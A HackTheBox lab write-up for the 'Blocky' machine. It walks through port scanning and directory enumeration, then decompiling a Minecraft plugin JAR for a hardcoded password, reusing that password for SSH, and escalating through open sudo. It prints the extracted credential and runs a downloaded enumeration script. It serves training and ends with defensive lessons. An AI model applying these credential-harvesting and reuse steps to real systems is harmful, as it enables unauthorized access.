HTB: Blocky Writeup
Blocky - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Blocky |
| OS | Linux |
| Difficulty | Easy |
| Points | N/A |
| Release Date | October 5, 2017 |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐☆☆☆
Summary
Blocky is an easy Linux machine that demonstrates the critical risks of poor password hygiene and exposing internal files on public-facing systems. The machine features a WordPress site with an exposed plugins directory containing Java archive files. By decompiling a custom JAR file (BlockyCore), database credentials are extracted and reused for SSH access as the notch user. Privilege escalation is trivial due to the user being a member of the sudoers group with full access. The machine serves as an excellent real-world example of how Minecraft servers—often configured by inexperienced administrators—present significant security vulnerabilities.
TL;DR: Enumerate WordPress plugins → Decompile JAR file for credentials → SSH with credential reuse → Sudo to root.
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- 10.10.10.37Results:
PORT STATE SERVICE VERSION21/tcp open ftp ProFTPD 1.3.5b22/tcp open ssh OpenSSH 7.2p280/tcp open http Apache httpd 2.4.188192/tcp open unknown (Minecraft Votifier - Standard Port)25565/tcp open minecraft Minecraft 1.11.2 (Protocol: 393)Key observations:
- WordPress installation running on port 80
- Minecraft server publicly accessible on port 25565
- Standard ports for common services: SSH (22), FTP (21)
- Multiple attack vectors available
Service Enumeration
WordPress Site Discovery
The HTTP service hosts a WordPress blog. Using directory enumeration tools (DirBuster) with a lowercase medium wordlist reveals a custom /plugins directory:
# Using DirBuster or ffuf to enumerate directoriesffuf -u http://10.10.10.37/FUZZ -w /usr/share/wordlists/dirb/common.txt -t 40The /plugins directory contains:
griefprevention.jar(open-source Minecraft plugin)BlockyCore.jar(custom plugin created for this server)
WordPress User Enumeration
Posts on the WordPress site reveal a username: notch (the administrator/creator of the server).
Vulnerability Assessment
- Exposed JAR Files: Custom plugins directory publicly accessible
- Decompilable Code: BlockyCore.jar contains hardcoded credentials
- Credential Reuse: Database credentials reused for system accounts
- Weak Sudo Configuration: User granted unrestricted sudo privileges
Initial Foothold
Exploitation Path
Step 1: Decompile BlockyCore.jar
The JAR file can be decompiled using JD-GUI or similar Java decompilation tools:
# Download the JAR file from the web serverwget http://10.10.10.37/plugins/BlockyCore.jar
# Decompile using JD-GUI (GUI) or cfr (command-line)cfr BlockyCore.jar --outputdir src/Examining the decompiled code reveals hardcoded MySQL credentials:
// Found in BlockyCore sourceString username = "root";String password = "8YsqfCTnvxAUeduzjNSXe22";Step 2: Credential Reuse for SSH Access
With the discovered credentials (root:8YsqfCTnvxAUeduzjNSXe22) and the username notch discovered from WordPress, attempt SSH login:
# SSH as notch user with the MySQL root passwordssh notch@10.10.10.37# Password: 8YsqfCTnvxAUeduzjNSXe22Success! The password is reused across multiple services and accounts, granting immediate access to the system.
Step 3: Capture User Flag
cat /home/notch/user.txtPrivilege Escalation
Analysis with LinEnum
Run LinEnum to enumerate system configuration:
# Download LinEnumwget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.shchmod +x LinEnum.sh./LinEnum.shKey Finding: The output reveals that user notch is a member of the sudoers group with unrestricted sudo privileges.
Escalation to Root
# Escalate directly to root shellsudo -i# No password required due to sudo configuration
# Verify root accesswhoami# Output: root
# Capture root flagcat /root/root.txtThe privilege escalation is straightforward—no complex exploitation required. The notch user is configured to run any command with sudo without password authentication.
Attack Chain Summary
Directory Enumeration (/plugins) ↓JAR File Discovery (BlockyCore.jar) ↓Decompile JAR → Extract Credentials (root:8YsqfCTnvxAUeduzjNSXe22) ↓SSH with Credential Reuse (notch@10.10.10.37) ↓User Flag Captured (/home/notch/user.txt) ↓LinEnum Enumeration → Sudoers Group Membership ↓sudo -i → Root Access ↓Root Flag Captured (/root/root.txt)Tools Used
| Tool | Purpose |
|---|---|
nmap | Port and service enumeration |
ffuf / DirBuster | Directory discovery |
wget | File download |
cfr / JD-GUI | JAR decompilation |
ssh | Remote shell access |
LinEnum.sh | System enumeration and privilege escalation analysis |
sudo | Privilege escalation |
Key Learnings
Techniques Practiced
- Web application enumeration and directory discovery
- Java JAR file decompilation and source code analysis
- Credential extraction from application source code
- Credential reuse attacks across multiple services
- System enumeration using LinEnum for privilege escalation vectors
- Exploitation of misconfigured sudo privileges
Lessons Learned
-
Never hardcode credentials in application source code, especially credentials that may be decompiled or exposed in JAR files.
-
Implement credential separation across systems. Using the same password for database and system accounts creates a single point of failure.
-
Properly configure sudo privileges. Users should only have sudo access to specific commands they require, not unrestricted access via
sudo -i. -
Restrict public access to internal files. The
/pluginsdirectory should never be publicly accessible or should require authentication. -
Minecraft servers present significant attack vectors. Administrators typically lack security experience, making these servers frequent targets for exploitation.
-
Defense in depth is critical. Even with one layer of security compromised, proper configuration of remaining layers can prevent full system compromise.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>